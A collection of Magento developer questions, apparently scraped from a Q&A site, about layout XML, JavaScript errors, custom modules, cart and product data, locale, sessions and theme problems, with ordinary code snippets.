How can I use this to add meta for page layouts? (layout/page_layout/test.xml)

Big thanks!


texts: Uncaught Error: Mismatched anonymous define() module: function(t,g,u)

texts:
I have a fresh installation of Magento but this error is showing on all of the pages.This may be duplicate of some other but I cannot find solution for my problem so asking here.

When I trace back it get me to minicart file and points here :

Please let me know what I am missing or doing wrong I checked there is no jQuery conflicts and did deploy cache clean etc.
I have a child theme of luma. Actually I did replaced it's 2.3.4 database with 2.2.7 magento site. So codebase is 2.3.4 and db is 2.2.7 is this create problem?
tried disabling all modules and child theme but error is still there.
TIA


texts: Magento 1.9 - Custom Options on Product Page - Multiple Columns

texts:
My apologies if this question is posed elsewhere.

I am utilizing custom options on my product pages and I have about a dozen drop downs per product.  By default, all options list in one column the full width of the block that they are in.  In order to prevent the user from having to scroll down to answer each option, I would like to display them in two or three columns across within the same block.

I am new to Magento and PHP so any help and example would be greatly appreciated!


texts: How to get cart items using customer id in magento 1.9

texts:
I am trying to get the cart items for particular customer id. I am getting products but it's displaying in two times.

For example: If the cart has two products here it's displaying four products, same product showing two times.

Thanks.

$customer_id= 4;
$customer = Mage::getModel('customer/customer')->load($customer_id);
if($customer){
    $quote = Mage::getModel('sales/quote')
        ->setSharedStoreIds($storeIds)
        ->loadByCustomer($customer);
$collection = $quote->getItemsCollection();
if ($collection->count() > 0) {
    foreach( $collection as $product ) {
        print_r($product);
        $_product = Mage::getModel('catalog/product')->load($product->getProductId());//product id here
        if ($_product->isConfigurable()) {
            $productdata = array(
                "id" => $_product->getId(),
                "product_name" => $_product->getName(),
                "price" => number_format($_product->getPrice(),0),
                "discount_price" => $_product->getFinalPrice(),
                "review" => number_format((float)$avg*.05, 1, '.', ''),
                "image_full" => $imageUrl,
                "short_desc" => $_product->getDescription(),
                'sku'       => $_product->getSku(),
            );
        }
        $productsList[] = $productdata;
    }
    print_r($productsList);
}


texts: I want to install this extension on magento 2 : https://github.com/landofcoder/MAGENTO-2-ORDER-TRACKING i readed the guide but it does'nt appear please help me thanks in advance


texts: How to display the seller's name under the product details

texts:
I am trying to display the seller's name on the product details page.I have searched a lot ,but still can't find the name of the variable.Only thing I managed was to get the manufacturer`s name.

<?php echo $_product->getAttributeText("manufacturer"); ?>

I think there must be a way to get the seller's name as it was for the manufacturer's name.

Can someone help me to get the seller's name for a particular product? Thank you


texts:
I'm having trouble setting the product categories using System > Import\Export > Import via a CSV file (see link 1 below). Regardless of the combination of field IDs used with the category_ids field in the file, I'm unable to set any categories when the product is imported - what I'd like to do is what you see in link 2 below. The hierarchy is field_id 2, 4, and 11.

What am I doing wrong?

Master product layout

Desired category hierarchy


texts:
I import products into Magento with a csv file.
Actually, these products are reals books. And I would like to import a sample of the books (in pdf).

When I import the products, I define them as simple product.
Is it possible with simple product to add a downloadable sample ?
Or I have to put the product as downloadable product when I import it ?


texts:
I just did php bin/magento setup:static-content:deploy it_IT.

Then I went to General/Configuration/Locale Options and set:

Locale Italia (Italy)
Enable Single-Store Mode YES

Then I did php bin/magento cache:clean but I still see contents in English. How can I enable Italian as default locale?


texts: Custom Extension not loading .phtml template

texts:
I've created an extension which seems to be partially working but not executing any of the code in the template file.

With the code in indexAction() just echoing, the content is output as one might expect, however with;

public function indexAction()
{
     $this->loadLayout();
     $this->renderLayout();
}

The page only returns the blank standard page template.

The frontname.xml file looks like this

<frontname_index_index>
    <reference name="content">
    <block type="core/text">
        <block type="frontname/frontname" name="frontname" template="frontname/frontname.phtml"/>
    </block>
    </reference>
</frontname_index_index>

Config.xml contains:

<?xml version="1.0" encoding="UTF-8"?>
<config>
<modules>
    <Newmodule_Frontname>
        <version>0.0.1</version>
    </Newmodule_Frontname>
</modules>
<frontend>
    <routers>
        <frontname>
            <use>standard</use>
            <args>
                <module>Newmodule_Frontname</module>
                <frontname>frontname</frontname>
            </args>
        </frontname>
    </routers>
    <layout>
        <updates>
            <frontname>
                <file>frontname.xml</file>
            </frontname>
        </updates>
    </layout>
</frontend>
<global>
    <blocks>
        <frontname>
            <class>Newmodule_Frontname_Block</class>
        </frontname>
    </blocks>
</global>
</config>

Block/Frontname.php:

class NewModule_Frontname_Block_Frontname extends Mage_Core_Block_Template{
 public function myfunction(){
    return "Tesing123";
   }
 }

EDIT

I've found the exception trace as follows:

        exception 'Mage_Core_Exception' with message 'Invalid block type: Newmodule_Frontname_Block_Frontname' in /path/to/app/Mage.php:595
        Stack trace:
        #0 /path/to/includes/src/__default.php(27814): Mage::throwException('Invalid block t...')
        #1 /path/to/includes/src/__default.php(27756): Mage_Core_Model_Layout->_getBlockInstance('frontname/front...', Array)
        #2 /path/to/includes/src/__default.php(27791): Mage_Core_Model_Layout->createBlock('frontname/front...', 'frontname')
        #3 /path/to/includes/src/__default.php(27558): Mage_Core_Model_Layout->addBlock('frontname/front...', 'frontname')
        #4 /path/to/includes/src/__default.php(27524): Mage_Core_Model_Layout->_generateBlock(Object(Mage_Core_Model_Layout_Element), Object(Mage_Core_Model_Layout_Element))
        #5 /path/to/includes/src/__default.php(27529): Mage_Core_Model_Layout->generateBlocks(Object(Mage_Core_Model_Layout_Element))
        #6 /path/to/includes/src/__default.php(13911): Mage_Core_Model_Layout->generateBlocks()
        #7 /path/to/includes/src/__default.php(13836): Mage_Core_Controller_Varien_Action->generateLayoutBlocks()
        #8 /path/to/app/code/local/Newmodule/Frontname/controllers/IndexController.php(6): Mage_Core_Controller_Varien_Action->loadLayout()
        #9 /path/to/includes/src/__default.php(13985): Newmodule_Frontname_IndexController->indexAction()
        #10 /path/to/includes/src/__default.php(18380): Mage_Core_Controller_Varien_Action->dispatch('index')
        #11 /path/to/includes/src/__default.php(17910): Mage_Core_Controller_Varien_Router_Standard->match(Object(Mage_Core_Controller_Request_Http))
        #12 /path/to/includes/src/__default.php(20535): Mage_Core_Controller_Varien_Front->dispatch()
        #13 /path/to/app/Mage.php(684): Mage_Core_Model_App->run(Array)
        #14 /path/to/index.php(102): Mage::run('', 'store')
        #15 {main}


texts: We installed Patch SUPEE-6788 on Magento 1.7.0.2 and now we cannot access products in the admin. when we go to catalog=>manage products and try opening a product here's what we get


texts: How to fix Magento 2.0 Frontend Quick Add to Cart

texts:
Just installed Magento 2.0 for testing before moving to production.

One issue I am having is the "add to cart" at the category page where you hover your mouse on the product picture to "add to cart".
The page loads and directs you to the product page with a warning note that I needed to pick the attributes. Telling me that the initial picked attributes on the category page were not saved.


texts: is it possible to add Magento 2 keys after the installation

texts:
I installed Magento 2 without using composer, because I encountered issues and the hosting company helped me with the installation and did not use composer.

Is it possible to add my private and public key to magento now? So that I could update it using composer from now on?


texts: Question about Magento speed and adding Varnish cache

texts:
I got a task to speed up Magento 2 site. Now im facing with a huge problem.
Site is hosted on shared hosting (quite good and reputable company). There is plenty of power but every shared hosting has his own limits.

1st option: Move site to VPS and add nginx with Varnish (at moment apache). But there is problem. ~20 mailboxes and they are years old, filled with important data. And if i host that mail server on new VPS there will be definitely some spam/deliverability problems + moving them to VPS. I think self-hosted mail is not an option.

2nd option??: Buy a VPS from same company and add Varnish with nginx as frontend cache? HTTPS is needed. Ping from VPS to shared hosting 1ms. Or is it possible even when i use shared hosting? Or is there any point to do that kind of setup?

3rd option: I can add Redis cache(512mb), its not added yet but hosting supports that and try to optimize site overall performance, compress pictures etc...

And all that is needed to do with minimum downtime as possible.


texts: When is the order mail supposed to be sent in a custom payment method?

texts:
I am debugging a legacy shop where the former developer integrated a custom payment method.

Problem is, that the order mail is not sent.

I traced the references to \Mage_Sales_Model_Order::sendNewOrderEmail and \Mage_Sales_Model_Order::queueNewOrderEmail and can not find anything but in PayPal express how it should be called.

How is the sending the confirmation mail process supposed to work? Am I supposed to  trigger it myself in a custom payment method or is it handled by the Magento order status  / state ?

Clarification: Sending mails is generally working (I configured cron, sending from the backend works)


texts:
I try to extend standard magento javascript configuration but I just get nothing.

I'm following this:
http://devdocs.magento.com/guides/v2.1/javascript-dev-guide/javascript/custom_js.html
and this:
http://devdocs.magento.com/guides/v2.1/javascript-dev-guide/widgets/widget_calendar.html

To do so in my theme I placed a requirejs-config.js like so:

var config = {
    map: {
        '*' : {
            'myScript1' : 'js/my_script_1',
            'mage/calendar' : 'js/calendar',
            'mage/tabs' : 'js/tabs'
        }
    }
};

my_script_1.js looks roughly like so:

define(['jquery','mage/tabs', 'domReady!'], function ($) {
    $.fn.myFunction = function () {
        // some code ...
    }
});

I can then access that function in my product_page.phtml like so:

<script>// <![CDATA[
    require([
        'jquery',
        'scrollToTarget',
        'domReady!'
    ], function ($) {
        $('.foo').myFunction();
    });
    // ]]>
</script>

This works well.
Now I want to do roughly the same in the other two files. But here I want to extend existing functionality.

Here is the js/calendar.js:

define([
    'jquery',
    'jquery/ui',
    'mage/calendar'
], function($){

    $.widget('<vendor>.calendar', $.mage.calendar, {
        calendarConfig: {
            showWeek: false
        }
    });

    return $.<vendor>.calendar;
});

Here is the js/tabs.js:

define([
    'jquery',
    'jquery/ui',
    'mage/tabs'
], function($){

    $.widget('<vendor>.tabs', $.mage.calendar, {
        /**
         * Instantiate collapsible
         * @param element
         * @param index
         * @param active
         * @param disabled
         * @private
         */
        _instantiateCollapsible: function (element, index, active, disabled)   {
          console.log('fooooo');
        },

        _myFunction123: function (foo) {
            return foo;
        }
    });

    return $.<vendor>.tabs;
});

But both extensions (calendar and tabs) don't work. The calendar still shows the weeks and that console.log() in tabs.js is never triggered.

What am I doing wrong here? How do I have to extend this?

EDIT:

So at least the calendar config can be changed like this.
Overwrite app/design/frontend/<vendor>/<theme>/Magento_Theme/templates/js/calendar.phtml
with the original files from Magento itself and change options there.
But this does not reflect the way described in the docs.


texts: How to increase user Session time in magento 2.2.2?

texts:
I have tried to increase session time, cookies time from admin panel And php.ini file. But both ways are not working for me. Still, the session expires in 30 mins.
I want to make it for a day.


texts: Magento 1.9 - How to get attribute labels on product model

texts:
public function productDataToJson(Varien_Event_Observer $observer)
{
  $category = Mage::getModel('catalog/category');
  $tree = $category->getTreeModel();
  $tree->load();
  $ids = $tree->getCollection()->getAllIds();
  $jsonFilePath = Mage::getBaseDir().'/jsondata';
  foreach ($ids as $id) {
    $array = array();
    $products = $category->load($id)
        ->getProductCollection()
         ->addAttributeToSelect('*')
         ->addStoreFilter(Mage::app()->getStore()->getId());
    foreach ($products as $_product) {
        $array[] = array_merge($_product->getData(), array('category_ids' => $_product->getCategoryIds()));
    }
    $jsonData = Mage::helper('core')->jsonEncode($array);
    file_put_contents($jsonFilePath.'/c_' . $id . '_node.json', $jsonData);
  }
}

I have this function in an observer which creates a JSON file of all products in every category. I am trying to get the labels for the product attributes as well as the product price with appropriate currency. However, instead of getting the label I am getting the option ID.

How can I get the label for the attribute rather than the option ID, and the products price with the appropriate currency?


texts: Uncaught TypeError: value.map is not a function coming from file-uploader.js

texts:
I am running Magento 2.2.3

When I try and go to admin/catalog/category/ and select a category it just spins and I get this javascript error.

file-uploader.js:74
Uncaught TypeError: value.map is not a function
at UiClass.setInitialValue (file-uploader.js:74)
at UiClass.initialize (abstract.js:73)
at UiClass.initialize (wrapper.js:109)
at new UiClass (class.js:49)
at Object.initComponent (layout.js:137)
at fire (jquery.js:3232)
at Object.fireWith [as resolveWith] (jquery.js:3362)
at Object.deferred.(/admin_1u9idw/catalog/category/edit/key/6bfefd3ede425d7d38ed258f6746c49ffc93015a1417f514ea0773cbf7c503ea/id/165/anonymous function) (http://magento.local/static/version1524775074/adminhtml/Magento/backend/en_US/jquery.js:3461:37)
at fire (jquery.js:3232)
at Object.fireWith [as resolveWith] (jquery.js:3362)

file-uploader.js is a core file I believe, and I have never touched it.

This is the code in the file that is giving me the error-

 /**
     * Defines initial value of the instance.
     *
     * @returns {FileUploader} Chainable.
     */
    setInitialValue: function () {
        var value = this.getInitialValue();

        value = value.map(this.processFile, this);

        this.initialValue = value.slice();

        this.value(value);
        this.on('value', this.onUpdate.bind(this));
        this.isUseDefault(this.disabled());

        return this;
    },

Specifically this line-
value = value.map(this.processFile, this);

This is all core Magento and I have never touched any of the code. I have done the standard clear cache, clear browser, deploy static content, reindex, and remove static files.

I have made a child theme off the blank theme.


texts: Customer confirmation url leads to a 404 page

texts:
Hello Stack Exchange community,

So we've been running a Magento Multi store for a while now and we haven't run into any trouble yet.

Recently we added another store to our multi store and for some odd reason, customers cannot hit the Confirmation URL as it sends them to a 404 page.

I've already sent a mail to the provider of our template but they told us it's because of the URL Rewrite, which we need for our SEO. This is the code we use to generate the URL (which is the default one I assume):

Deze bevestigingslink

Would anyone happen to know why it's linking me to a 404 page?


texts:
I am currently creating a cart for an anonymous user using magento API. These are the endpoints I am using to accomplish this:

http://www.magentocommerce.com/api/soap/checkout/cart/cart.create.html
http://www.magentocommerce.com/api/soap/checkout/cartProduct/cart_product.add.html

From this i get a quote id.

My question is, is it possible to use the quote id to create a session in the browser? Ie what i want to do is on a 3rd party site create and items to an order. Using this quote_id provide a link to the magento cart that would have the cart contents. The user then could then login, proceed through checkout, etc.


texts: How can i change footer color without affecting menu bar color in my site

texts: How can i change footer color without affecting menu bar color.


texts: Magento 2: Can create two different templates for the Homepage?

texts:
Am I able to create two different templates for the homepage and change between them whenever I want?
I'm trying to create a new homepage, but I don't want to lose the old one, so I disable it and then I tried to create a new page with the
Title: Home Page and in
URL Key: home
but when I try to Save the Page the next message is showed:
Could not save the page: Unique constraint violation found
There is any way to create a new "home page" template, without lose the old one?


texts:
I'm trying to create a custom email template.

I have loaded header and I want to start styling it. For example a simple red background color.

Where do I need to add the style?

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="initial-scale=1.0, width=device-width" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />

{{inlinecss file="css/email-inline.css"}}

                        <img
                            {{if logo_width}}
                                width="{{var logo_width}}"
                            {{else}}
                                width="180"
                            {{/if}}

                            {{if logo_height}}
                                height="{{var logo_height}}"
                            {{else}}
                                height="52"
                            {{/if}}

                            src="{{var logo_url}}"
                            alt="{{var logo_alt}}"
                            border="0"
                        />


texts: taxClassId are not saved with the rest of the product

texts:
I'm trying to update some attributes of my product by a cron to avoid common mistakes. The code causing me trouble is executed in a loop:

foreach ($storesIds as $storeId) {
    $this->storeEmulation->startEnvironmentEmulation($storeId);
    $fixed = $this->doExecute($storeId);
    $this->storeEmulation->stopEnvironmentEmulation();
}

The "doExecute method" code is simplified here, tests are done before to avoid to save a product for nothing, here is how I'm saving a product:

$searchCriteria = $this->searchCriteriaBuilder->create();
$products = $this->productRepository->getList($searchCriteria)->getItems();

// [...]

foreach ($products as $product) {

    // [...]

    $fixes[] = ['visibility' => ['from' => $product->getVisibility(), 'to' => $expectedVisibility]];
    $product->setStatus($expectedVisibility);

    // [...]

    $fixes[] = ['taxClassId' => ['from' => $product->getTaxClassId(), 'to' => $expectedTaxClassId]];
    $product->setTaxClassId($expectedTaxClassId);

    // [...]

    try {
        $this->productRepository->save($product);
        $this->logger->notice('A product was fixed', [
            'sku' => $product->getSku(),
            'storeId' => $store->getId(),
            'fixes' => $fixes
        ]);
    } catch (\Exception $e) {
        $this->logger->error('A product can\'t be fixed', [
            'sku' => $product->getSku(),
            'storeId' => $store->getId(),
            'fixes' => $fixes
        ]);
    }
}

I can see in the logs that on the first fetch the visibility is fixed. But the taxClassId is not changing:

[2019-03-15 22:49:57] FixerLogger.NOTICE: A product was fixed {"sku":"107","storeId":"8","fixes":[{"taxClassId":{"from":"0","to":"2"}}]} []
[2019-03-15 22:49:58] FixerLogger.NOTICE: A product was fixed {"sku":"018-K","storeId":"8","fixes":[{"visibility":{"from":"2","to":1}},{"taxClassId":{"from":"8","to":"2"}}]} []
[2019-03-15 22:49:58] FixerLogger.NOTICE: A product was fixed {"sku":"109-K","storeId":"8","fixes":[{"taxClassId":{"from":"8","to":"2"}}]} []

[2019-03-15 22:50:27] FixerLogger.NOTICE: A product was fixed {"sku":"107","storeId":"8","fixes":[{"taxClassId":{"from":"0","to":"2"}}]} []
[2019-03-15 22:50:27] FixerLogger.NOTICE: A product was fixed {"sku":"018-K","storeId":"8","fixes":[{"taxClassId":{"from":"8","to":"2"}}]} []
[2019-03-15 22:50:28] FixerLogger.NOTICE: A product was fixed {"sku":"109-K","storeId":"8","fixes":[{"taxClassId":{"from":"8","to":"2"}}]} []

Any idea where am I wrong?

Thanks for your help!


texts: What is the purpose manipulate method in layout.js?

texts:
I was searching a way to move around Magento 2 frontend components in the current page and stumbled across the following function in module-ui/view/base/web/js/core/renderer/layout.js

    manipulate: function (node) {
        var name = node.name;

        if (node.appendTo) {
            this.insert(name, node.appendTo, -1);
        }

        if (node.prependTo) {
            this.insert(name, node.prependTo, 0);
        }

        if (node.insertTo) {
            this.insertTo(name, node.insertTo);
        }

        return this;
    },

So I have set the appendTo property on a checkout component:

<item name="shipping-step" xsi:type="array">
    <item name="children" xsi:type="array">
    <item name="shippingAddress" xsi:type="array">
        <item name="config" xsi:type="array">
            <item name="appendTo" xsi:type="string">shipping_container</item>
        </item>
    </item>
    </item>
</item>

I created shipping_container as a UI component and placed it somewhere on the page.

But nothing is happening (or moving to that place).

Does anybody know what is the purpose of the manipulate functionality? I did not find any uses of it in the core.


texts:
I need to remove the block from layout file using below code,

<referenceBlock name="banner.data" remove="true" />

Because there is no way to disable Magento banners in admin, however, this can be accomplished via layout.

I am not getting in which module and which file I need to add this code.
Please suggest path and file achieve this thing.

As shown below

Thanks


texts: How to add multi-select category tree at admin end in magento 2?

texts:
I would like to display *Category Tree Names** in multi select field in magento 2 admin end?

I have tried with below code but displaying only first cateogires  could you please any one help on this?

$field = $fieldset->addField(
            'wp_test',
            'multiselect',
            [
                'name' => 'wp_test',
                'label' => __("Test"),
                'values' => $categorylistsource->toOptionArray(),
                'value' => $this->_getTest(),
                'title' => __('Test.'),
                'note' => __('Test')

            ]
        );

  Hello\ConfigurableSku\Model\Config\Source

<?php
/**

@copyright Copyright
*/
namespace Hello\ConfigurableSku\Model\Config\Source;

use Magento\Framework\Option\ArrayInterface;

class Categorylist implements ArrayInterface
{
    protected $_categoryFactory;
    protected $_categoryCollectionFactory;

    public function __construct(
        \Magento\Catalog\Model\CategoryFactory $categoryFactory,
        \Magento\Catalog\Model\ResourceModel\Category\CollectionFactory $categoryCollectionFactory
    )
    {
        $this->_categoryFactory = $categoryFactory;
        $this->_categoryCollectionFactory = $categoryCollectionFactory;
    }

    public function getCategoryCollection($isActive = true, $level = false, $sortBy = false, $pageSize = false)
    {
        $collection = $this->_categoryCollectionFactory->create();
        $collection->addAttributeToSelect('*');

        // select only active categories
        if ($isActive) {
            $collection->addIsActiveFilter();
        }

        // select categories of certain level
        if ($level) {
            $collection->addLevelFilter($level);
        }

        // sort categories by some value
        if ($sortBy) {
            $collection->addOrderField($sortBy);
        }

        // select certain number of categories
        if ($pageSize) {
            $collection->setPageSize($pageSize);
        }

        return $collection;
    }

    public function toOptionArray()
    {
        $arr = $this->_toArray();
        $ret = [];

        foreach ($arr as $key => $value)
        {
            $ret[] = [
                'value' => $key,
                'label' => $value
            ];
        }

        return $ret;
    }

    private function _toArray()
    {
        $categories = $this->getCategoryCollection(true, false, false, false);

        $catagoryList = array();
        foreach ($categories as $category)
        {
            $catagoryList[$category->getEntityId()] = __($this->_getParentName($category->getPath()) . $category->getName());
        }

        return $catagoryList;
    }

    private function _getParentName($path = '')
    {
        $parentName = '';
        $rootCats = array(1,2);

        $catTree = explode("/", $path);
        // Deleting category itself
        array_pop($catTree);

        if($catTree && (count($catTree) > count($rootCats)))
        {
            foreach ($catTree as $catId)
            {
                if(!in_array($catId, $rootCats))
                {
                    $category = $this->_categoryFactory->create()->load($catId);
                    $categoryName = $category->getName();
                    $parentName .= $categoryName . ' -> ';
                }
            }
        }

        return $parentName;
    }
}

But As per the above logic displaying only single line but i need to display like tree as mentioned below screenshot. how to achieve?

OUT PUT I WANT:-


texts: Magento 2 Add Custom Dynamic Link in Customer Navigation

texts:
I can't figure it out how to add links dynamically to customer navigation.

this is my xml:

<referenceBlock name="customer_account_navigation">
   <block class="Vendor\Module\Block\Custom\Link\" name="block">
       <action method="addCustomLink">
        <!--  HERE DYNAMICALLY NEEDS TO ADD ARGUMENTS e.g label, path etc..-->
       </action>
    </block>
</referenceContainer>

Block:

class Link extends \Magento\Framework\View\Element\Html\Link\Current
{
  public function addCustomLink()
   {
    $parent = $this->getParentBlock();

            $parent->addLink(
                'Dynamic Label goes here',
                'Dynamic Url goes here',
                'Dynamic title goes here'
         );
   }
}

This is giving me error: Invalid method Magento\Customer\Block\Account\Navigation::addLink .

Anybody have any suggestion how could one do this?

Thanks in advance.


texts: Magento2: what is the difference between container and list text?

texts: The layout block <block class="Magento\Framework\View\Element\Text\ListText" loops through all its child blocks same as the container. Based on what I see, they have the same purpose. Can you tell me what are the differences between the two and which one is best to use?


texts:
Since there seems to be minimal documentation about for Fishpig with Magento 2, please could someone advise a rough process for creating a custom sidebar widget?

Just a basic "Hello world" example would be greatly appreciated.


texts:
Can't find original register for type QUO and ID 55061

  User name: software
  Total Account Subscribers: 1
  Total List Subscribers: 1
  Ecommerce Data uploaded to MailChimp:
  Total customers: 30525
  Total products: 12959
  Total orders: 0
  Total Carts: 67
  This MailChimp account is not connected to Magento.


texts: how to add currency switcher dropdown in magento2 custom header

texts:
I created custom header using below link.
http://oxsoftwares.com/add-custom-header-in-custom-theme-magento2/

I want to add currency switcher inside the custom header, how can we call currency switcher inside custom header.


texts: Magento 2 - How to restrict a selected payment method?

texts:
How to restrict a selected payment method in Magento 2?

Event: etc\events.xml

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Event/etc/events.xsd">
    <event name="payment_method_is_active">
        <observer name="bg_customer_group_payment_filters" instance="\Bg\PaymentRestriction\Observer\PaymentMethodAvailable" />
    </event>
</config>

Observer: Bg\PaymentRestriction\Observer\PaymentMethodAvailable.php

<?php

namespace Bg\PaymentRestriction\Observer;

use Magento\Framework\Event\ObserverInterface;
use Magento\Framework\App\Request\DataPersistorInterface;
use Magento\Framework\App\ObjectManager;
use Bg\PaymentRestriction\Helper\Data as DataHelper;

class PaymentMethodAvailable implements ObserverInterface
{
    /**
     * @var \Magento\Customer\Model\Session
     */
    private $customerSession;
    /**
     * @var \Bg\PaymentRestriction\Helper\Data
     */
    private $dataHelper;

    /**
     * @var \Magento\Customer\Api\GroupRepositoryInterface
     */
    private $groupRepository;

    public function __construct(
        \Psr\Log\LoggerInterface $logger,
        DataHelper $dataHelper
    ) {
        $this->_logger = $logger;
        $this->dataHelper = $dataHelper;
    }

    public function execute(\Magento\Framework\Event\Observer $observer)
    {
        $result          = $observer->getEvent()->getResult();
        $method_instance = $observer->getEvent()->getMethodInstance();
        $quote           = $observer->getEvent()->getQuote();
        $this->_logger->info($method_instance->getCode());
        $activeRule = $this->dataHelper->getPaymentMethod();
        /* Enable All payment gateway  exclude Your payment Gateway*/
        if ($method_instance->getCode() == 'checkmo') {
            $result->setData('is_available', false);
        } else {
            $result->setData('is_available', true);
        }
    }
}

I got a value like this in frontend.


texts:
I want to add custom field "comment" to the order as an extension attribute. So, the first, I have added this column to following tables in database: "quote" and "sales_order".

It's my xml file:

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Api/etc/extension_attributes.xsd">
    <extension_attributes for="Magento\Sales\Api\Data\OrderInterface">
        <attribute code="comment" type="string"/>
    </extension_attributes>
</config>

It's my observer ("sales_order_save_after"), where I'm trying to set "comment":

use Magento\Framework\Event\ObserverInterface;
use Magento\Framework\Event\Observer;
use Magento\Sales\Api\OrderRepositoryInterface;

class SaveComment implements ObserverInterface
{
    protected $_rep;

    public function __construct(OrderRepositoryInterface $rep)
    {
        $this->_rep = $rep;
    }

    public function execute(Observer $observer)
    {
        $order = $observer->getEvent()->getData('order');
        $ext = $order->getExtensionAttributes();
        $ext->setComment('Hi, Magento!');
        $order->setExtensionAttributes($ext);
        $this->_rep->save($order);
    }
}

And it works, but doesn't add any attributes to database, so when I try to get it in another place with:

$comment = $order->getExtensionAttributes()->getComment();

I get null.
Please, help me.


texts:
I have a shop in magento in (http://198.143.135.69/) and I'm testing to display the contents of a category outside the magento say in a file on the root of the site (test.php) and hopefully show simple list of products with their name, image, price.

Thanks


texts: Error calling model from controller in magento 2

texts:
I have a controller and I want to call specific function of model from  controller file, When I try to call function, I got an error like this :

  Fatal error: Uncaught TypeError: Argument 2 passed to
  Lime\Hello\Controller\Index\Index::__construct() must be an instance
  of Lime\Hello\Model\Sync, instance of
  Magento\Framework\View\Result\PageFactory given, called in

here's my controller file code:

namespace Lime\Hello\Controller\Index;

use Magento\Framework\App\Action\Context;

class Index extends \Magento\Framework\App\Action\Action
{

    protected $_sync;
    public function __construct(\Magento\Framework\App\Action\Context $context, \Lime\Hello\Model\Sync $sync)
    {

        $this->_sync = $sync;
        parent::__construct($context);
    }

    public function execute()
    {
        $run = $this->_sync;
        echo $run->test();
        exit;
    }
}

here's my model file code:

namespace Lime\Hello\Model;
use Magento\Framework\Object;

class Sync extends Object
{
  public function test(){
    return 'a';
  }
}


texts:
So I've installed a new chat for my website but need to do one last thing, and that is to set a cookie on login, and delete it on log out.

Code I'll be using for login:

setcookie('cc_data',$userid, time() + (86400 * 30), "/");

Code I'll use to unset the cookie:

setcookie('cc_data', '', -time() + (86400 * 30), "/");

The part I need help with is where exactly to place this. Obviously I need the customer ID for $userid so it needs to be after the login.

Disregarding all the "should not edit core files", is AccountController the correct file for this? I can add it in a more correct way in the future, but currently I'm just looking for my target file/function.


texts: How to add a foreign key to a table programmatically?

texts:
I am trying to add a set of new tables and I'm trying to add a foreign key to link these tables. I have looked online to try and find some information about addForeignKey() but cannot find anything.

Looking at Varien_Db_Adapter_Interface::addForeignKey() and Mage_Core_Model_Resource_Setup::getFkName() I thought I had got below setup correctly

->addForeignKey(
     $installer->getFkName('namespace_module/shop', 'area_id', 'namespace_module/area','area_id'),
     $installer->getTable('namespace_module/shop'),
     'area_id',
     $installer->getTable('namespace_module/area'),
     'area_id',
     Varien_Db_Ddl_Table::ACTION_CASCADE,
     Varien_Db_Ddl_Table::ACTION_CASCADE
)

But the exception says different

Zend_Db_Exception Object
(
[_previous:Zend_Exception:private] =>
[message:protected] => Undefined column "shop_locator_shop"
[string:Exception:private] =>
[code:protected] => 0
[file:protected] => /Users/myname/Sites/site/www/lib/Varien/Db/Ddl/Table.php
[line:protected] => 450
[trace:Exception:private] => Array
    (
        [0] => Array
            (
                [file] => /Users/myname/Sites/site/www/app/code/local/Namespace/Module/sql/namespace_module_setup/install-0.1.0.php
                [line] => 110
                [function] => addForeignKey
                [class] => Varien_Db_Ddl_Table
                [type] => ->
                [args] => Array
                    (
                        [0] => FK_SHOP_LOCATOR_SHOP_AREA_ID_SHOP_LOCATOR_AREA_AREA_ID
                        [1] => shop_locator_shop
                        [2] => area_id
                        [3] => shop_locator_area
                        [4] => area_id
                        [5] => CASCADE
                        [6] => CASCADE
                    )

            )

Basically how do I go about adding a foreign key to my table (I have added a screen shot of what I am trying to achieve)


texts: How to get Selected categories ids by jquery in product add/edit page

texts:
I want to get categories ids from the select box which are selected in the product add/edit time on the admin side by Jquery.
I tried to get value from the hidden box but not able to find a hidden box for selected categories id in product form.


texts: How to Customized the new order template: Magento

texts: I want to make some text changes in new order template of my Magento so where i can locate the Template file or where i can do this in the admin panel. Also the store logo is not showing in the email how fix it.


texts:
I am beginner in Magento, but I designed a Magento v. 2.3.5 locally under xampp and everything is ok
I transferred it to the server and applied all the modifications in the env.php file and in the  core_config_data table.
When I launch the URL of the site in the browser, the Design CMS of the site disappeared (see photos Local and server) and impossible to access the administration (error 500).
Anyone for a solution? Thank you !
[


texts:
I am using Magento 2.2. I'm in a great Trouble with my themes, I've installed 3 themes but now i want to delete them all and roll back to my default Luma!

Then I want to reinstall it again!!!

what to do? I've already looked for how to deleted them but, i couldn't able to find theme folder database!
Or any direct code to rollback all themes to default
Or way I could reset my theme!
And take a not that, In my phpmyadmin there is no such database named theme! What to do?


texts: How to hash email using the SHA-256 algorithm in Magento

texts:
I'm installing a Pinterest tracking code and need to hash a email using SHA-256.

From Pinterest Docs:

Enhanced Match may also be used with the img tag. However, partners that use the img tag will need to format and hash  themselves. Specifically,  will need to be lower-cased and have all whitespace removed. They will then need to be hashed using the SHA-256 algorithm.

The formatted and hashed  should be added to every Pinterest tag img tag URL on your page using the "&pd[em]=" parameter. The em parameter should be added to both the base code and the event code img tags.

For example:

<img height="1" width="1" style="display:none;" alt=""
src="https://ct.pinterest.com/v3/?tid=<YOUR_TAG_ID>&event=<EVENT_NAME>&pd[em]=<hashed_email_address>&noscript=1" />

My code so far:

    <?php
        if (Mage::getSingleton('customer/session')->isLoggedIn()) {
           $customer = Mage::getSingleton('customer/session')->getCustomer();
           $CustomerEmail = $customer->getEmail();
        }
    ?>

    <img height="1" width="1" style="display:none;" alt=""
  src="https://ct.pinterest.com/v3/?tid=<?php echo $id ?>&pd[em]=<?php echo $CustomerEmail ?>&noscript=1" />

It seems I read Magento has this built-in not sure.  Thank you.


texts: Permissions Error while Magento 2 installation as Magento 2 Image for Docker

texts:
I have cloned Magento 2 Image for Docker from here
https://github.com/rhinos-dubai/docker-magento2.git
but when I install It asks for so many permissions as from blow screen shots:

and

I have used certain commands from terminal like:
rm -rf var/cache var/generation var/di

when I use sudo with above commands it says:
root@a6e0cb9974fa:/var/www/html# sudo rm -rf var/generation
bash: sudo: command not found

What should be the way out ?
Any help should be highly appreciated!


